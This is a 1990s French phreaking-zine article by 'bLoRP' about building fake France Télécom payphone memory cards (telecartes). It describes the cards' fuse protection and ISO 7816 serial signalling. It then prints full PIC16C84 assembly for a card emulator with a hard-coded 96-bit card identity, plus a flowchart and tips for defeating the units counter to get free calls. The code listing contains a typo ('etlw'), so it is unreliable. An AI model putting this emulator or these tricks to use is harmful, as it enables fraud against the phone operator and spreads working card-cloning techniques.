Copy Link
Add to Bookmark
Report
N0RoUTE Issue 3-09 Telecartes
:----------------------------------------------------------------------:
| ---:--- :---- : :---- /--- /\ /---\ ---:--- :---- /--- |
| | |____ | |____ | / \ |___| | |____ \ |
| | | | | | /____\ | \ | | \ |
| | |____ |___ |____ \___ / \ | \ | |____ ___/ |
|______________________________________________________________________|
ET CARTES A PUCES ASYNCHRONES
par bLoRP
^^^^^
1/CARTES A MEMOIRES DE TYPES TELECARTE:
une carte a mmoire est essentiellement compose d'une mmoire electronique
connectable et inscriptible, associe a un compteur.La memoire d'une
telecarte, de type EPROM a une capacite de 256 lements binaires dont les
96 premiers sont utiliss par l'exploitant du reseau pour l'identification de
l'appelant et ses droits et dont les 160 lments suivant servent a
l'enregistrement des units consomms.
------------> 200 millions de telecartes distribues en 1990
lment binaire: 1 bit
1.1/PROTECTION DES CARTES A PUCES (generales):
Les cartes a puces integrent toutes des fonctions cryptographiques qui
rendent leur contenu sinon inviolable au moins incomprehensible pour toute
personne malveillante(eh eh :)).Une protection par fusible est aussi possible,
aprs la programmation de la carte en usine, un fusible interne est grill et
rend la carte illisible de l'exterieur.Les tlcartes ne semblent pas
incorporer une protection cryptographique avec une cls secrete par contre
elles sont protges par un fusible(fuck FT !!) ce qui les rends totalement
illisibles avec un materiel d'amateur.Les pirates n'ont donc que deux options,
soit arriver a lire le programme contenu dans dans la puces et a recharger ce
programme sur une carte a microcontrolleur (qu'ils auront eux memes fabriqu)
soit reinventer un programme qui leur permette d'emuler la telecarte,
toujours au moyen d'une carte a microcontroleur.Cette deuxieme solution reste
trs complique a mettre en oeuvre puisque la carte pirate doit repondre
exactement comme la vraie lors de l'initialisation de la cabine et de
l'criture dans la memoire de la carte.Les plans de fausses telecartes avaient
et publi dans le phrack 48, malheureusement l'emulation n'etant pas assez
rapide, ces fausses cartes cessrent de fonctionner avec l'apparition des
nouvelles cabines telephoniques (beuh :( !! )).
1.2/REALISATION DES FAUSSES CARTES A PUCES:
Avant de realiser une fausse telecarte il faut donc deja connaitre un
minimum leur principe de fonctionnement et leur caracteristiques techniques.
Par exemple il faut savoir que les cartes a puces asychrones de types ISO
(7816 par exemple) communiquent avec la cabine avec une liaison serie
utilisant un protocole a parite paire.les cartes a puces ISO respectent aussi
la norme ISO inverse ce qui veut dire que ce sont d'abort les bits de poids
fort qui sont d'abord transmis et qu'un niveau bas (0v) represente en fait un 1 logique.
L'emulateur de telecarte decrit dans le phrack 48respectait parfaitement ces
conditions et le pic 16c84 qui servait a l'emulation etait trs bien adapt.Le
probleme se posa lorsque les nouvelles telecabines arrivrent, celles ci
demandaient en effet une emulation plus rapide.Le programme contenu dans le
pic 16c84 qui tournait a 4mhz fut alors mis dans un 16c84 a 10mhz, avec ce
nouveau microcontrolleur la phase d'initialisation etait
nouveau emule
correctement, en effet, la cabine ne detectait pas la fausse telecarte aprs
avoir envoyer son reset.Les problemes commencaient en fait aprs
l'initialisation lorsque la cabine et le pic ecrivait dans la memoire, la
cabine detectait la fausse carte et refusait systematiquement tout appel.En
fait pour crire dans la memoire du pic 16c84 il faut au minimum 10ms(au
lieu de 500ns pour la vraie :( ), cette inconvenient est due au fait que la
memoire utilise lors de l'emulation est une EEPROM (memoire programable et
effacable electriquement sans uv).En effet un microcontroleur a eeprom est
ideal pour le developpement du programme (masque) puisque il n'y a pas besoin
de passer longuement le microcontroleur sous les uv pour effacer sa memoire !!
.C'est cet interval de 10ms qui perturbe la telecabine et qui fait echouer
l'emulation, pour reussir il faudrat evoluer vers des microcontroleurs ayant
des memoires plus rapides (pic16c74-71) ou ajouter une eeprom externe au pic
16c84, plus rapide, cependant le temps necessaire au calcul de l'adressage
devrait aussi etre assez important et le montage ne serait finalement pas
vraiment plus performant!!
2/LES NOUVEAUX PROGRAMMES:
le programme suivant est en fait une version optimise pour le pic 16c84
10mhz du programme paru dans le phrack47 initialement prevu pour tourner sur
un pic a 4mhz!:
ce n'est pas moi qui ait retravaill le code, et il semble que ce programme
marche a peut prs, sauf sur certaines cabines.De toute facon l'emulation
reste partielle et les dconections sont frequentes :(
LIST p=16C84,r=dec
pc equ 02h ; Program counter
sr equ 03h ; Status register
fsr equ 04h ; file select
porta equ 05h ; Port a
portb equ 06h ; Port b
eedata equ 08h ; Eeprom data register
eeadr equ 09h ; Eeprom adress register
eecon1 equ 08h
eecon2 equ 09h
add equ 0Ch ; Ptr memoire lecture carte
#DEFINE OUT portb,0 ;
#DEFINE ST portb,2 ;
#DEFINE RAZ portb,1 ; pattes de la carte
#DEFINE PRO portb,3 ;
#DEFINE VPP portb,4 ;
#DEFINE RD eecon1,0
#DEFINE WR eecon1,1
#DEFINE WREN eecon1,2
#DEFINE EEIF eecon1,4
#DEFINE RP0 sr,5
org 00
start movlw 126
tris portb
clrf eeadr
bsf RP0
bsf RD
bcf RP0
movlw 155
subwf eedata,0
btfsc sr,0
bcf eedata,7
star2 bsf OUT
clrf add
debut btfss VPP
goto star2
stl btfss ST
goto stl
bsf OUT
btfsc PRO
goto prog
sth btfsc ST
goto sth
btfss RAZ ; test RAZ
goto star2
incf add,1
movf add,0
btfsc add,7
goto mempro
call carte
movwf portb
goto debut
mempro subwf eedata,0 ; SR0=0 si add > eedata !!
btfss sr,0
bcf OUT ; zone units libres
goto debut
prog movf add,0
movwf eedata
bsf OUT
bsf RP0
bsf WREN
bcf EEIF
movlw 055h
movwf eecon2
movlw 0aah
movwf eecon2
bsf WR
pro_ok btfss EEIF
goto pro_ok
bcf RP0
goto debut
carte addwf pc,1
; mot 'C7' (nø de carte complet - 96 bits)
retlw 1
retlw 1
retlw 0
retlw 0
;
retlw 0
retlw 1
retlw 1
retlw 1
; mot '06'
retlw 0
retlw 0
retlw 0
retlw 0
;
retlw 0
retlw 1
retlw 1
retlw 0
; mot '85'
retlw 1
retlw 0
retlw 0
etlw 0
;
retlw 0
retlw 1
retlw 0
retlw 1
; mot '03'
retlw 0
retlw 0
retlw 0
retlw 0
;
retlw 0
retlw 0
retlw 1
retlw 1
; mot 'C7'
retlw 1
retlw 1
retlw 0
retlw 0
;
retlw 0
retlw 1
retlw 1
retlw 1
;
; mot '04'
retlw 0
retlw 0
retlw 0
retlw 0
;
retlw 0
retlw 1
retlw 0
retlw 0
;
; mot '46'
retlw 0
retlw 1
retlw 0
retlw 0
;
retlw 0
retlw 1
retlw 1
retlw 0
;
; mot '0E'
retlw 0
retlw 0
retlw 0
retlw 0
;
retlw 1
retlw 1
retlw 1
retlw 0
;
; mot 'CB'
retlw 1
retlw 1
retlw 0
retlw 0
;
retlw 1
retlw 0
retlw 1
retlw 1
;
; mot '8A'
retlw 1
retlw 0
retlw 0
retlw 0
;
retlw 1
retlw 0
retlw 1
retlw 0
;
; mot '10'
retlw 0
retlw 0
retlw 0
retlw 1
;
retlw 0
retlw 0
retlw 0
retlw 0
;
; mot '06'
retlw 0
retlw 0
retlw 0
retlw 0
;
retlw 0
retlw 1
retlw 1
retlw 0
;34 fois retlw 1
end
compilation OK avec : MPASM
Je n'ait pas essay personellement ce programme, mais je sais que
certaines personnes l'ont fait marcher, alors, ne tapez pas sur l'auteur !!!
Pour la fausse telecarte, les plans du phrack restent valablent, il faut
juste changer la puce!
3.1/UN PTIT ORGANIGRAMME SYMPA:
cet organigramme n'est vraiment qu'un squellette minuscule du programme qui
devra etre cod pour l'emulation:
_______________ ___________
| intteruption | | DEBUT |
| en cas de | |___________|
| RESET | |
|_______________| |
| |
| _________v_________
______v______ | saut a la routine |
| routine de | | de |
| reponse au |<-----------------| traitement du |
| RESET | | RESET |
|_____________| |___________________|
|
| ___________________
______v______ non _________v_________ |
| mem = 1 ?? |___________ | recuperation de | |
|_____________| | | l'adresse | |
| oui +----->| memoire pointe | |
| | par la telecarte | |
| |___________________| |
v | |
| | |
| _______v______ |
| | mise d'une | |
| | memoire a 1 | |
| | mem = 1 | |
| |______________| |
| | |
| | |
| ___________v___________ |
| | simulation de la | |
| | reponse en | |
| | utilisant un algo ou | |
v | des datas de l'EEPROM | |
| |_______________________| |
| | |
| | |
| _________v__________ |
| | 97 bits simul ?? | |
| | (atteind ??) | nan |
v |____________________|---------+
| | oui
|__________________________________v
|
______v________
| broche i/o a 1|<-------------:
|_______________| |
| |
| |
________v_________ |
| recuperation | |
| adresse pointe | |
|__________________| |
| |
|<--------------: |
--------v--------- | |
| si le bit a ete | nan | |
| ecrit |-----: |
|__________________| |
| oui |
| |
--------v-------- |
| la broche i/o | |
| est mise | |
| a 0 | |
|_________________| |
| |
| |
_________v_________ |
| y'a t'il eu une | |
| impulsion sur la | oui |
| broche clock ??? |_____________|
|___________________|
| nan
|
___________v__________
| bravo, vous venez |
| d'enculer FT ;))))) |
|______________________|
|
|
______v______
| THE END ;)) |
|_____________|
petite explication: si vous voulez comprendre cet organigramme, lisez donc
le texte "what you need to know about electronic telecards" de SB, tout la
sequence de lecture ecriture de la carte est explique en detail.Plusieurs
problmes se posent en fait, les donne contenue dans les 97 premiers bits
pourront elles etres lues sufisement rapidement pour que la cabine ne detecte
pas l'emeulation ???
-quelle etat presente la broche i/o pendant l'incrementation du compteur???
-combien de temps laisser la broche i/o active ???
Si vous connaissez la reponse a une de ces questions, c'est du 0.00 fr/min ;))
une autre astuce:
une solution inexplore serait aussi de presenter sur la broche i/o un
etat haut (5v) pour indiquer a la cabine que l'ecriture du bit n'a pas et
effectue correctement, il est probable qu'au bout de 3 essais d'ecriture, la
cabine rejette la carte, ceci dit vous avez deja tripl la dure de vie de
votre fausse carte et vous n'avez poa besoin de couper la communication pour
beneficier a nouveau de 120 unites :o). En fait avec cette methode, vous
devriez pouvoir rester en ligne pendant 2 heures d'affiles (arf :))).
Le seul probleme est en fait que la simulation des 97 premiers bits ne sera
assez rapide, il faudraitsimuler ces bit soit en trouvant un algoritme qui
corresponde a ces bits, soit charcher dans la ram du pic des données presentes
dans l'eeprom, ce qui resoudrait le probleme des 10ms necessaires au pic.
Finalement la solution reste peut etre l'emulation a partir d'un ordinateur
portable, certains programme sont trs au point, d'autant plus que si l'on
veut se connecter au net ou devenir root sur une des suns de sa facs, y faudra
forcement un portable :) .
La derniere solution reste les fausses telecartes a base d'eprom serie et de
portes logiques pour l'adressage, certains plans circulent ;) et il semble que
les premiers resultats soit TRES concluants .....;-)
voila, that's all !!!!
A++ bLoRp
^^^^^^^
greets:
-NeurO et sa page oueb qui reste LA source de documentation ;)
-kickers, jump4, crifalo et kra qui font vivre la scene lyonnaise ;)
et puis Aaah qui m'tien compagnie sur le dalnet ;))
j'oubliait cod4 qui publie cet article (putain il est fous ;))))
ps: desolez pour mon orthografe, mais j'en avait marre de perdre mon temps en
cours de francais :(
----------------------------------------------------------------------------
ou me voir: irc:#banane (on ircnet)
#phreakfr ---->le best chanel de phreaking (non non j'fais
poa de pub!!) <--sur dalnet humm pis sur #phe dalnet aussi :)
http://www.mygale.org/09/blorp/benhack.htm
ou forum eprat: www.eprat.com
----------------------------------------------------------------------------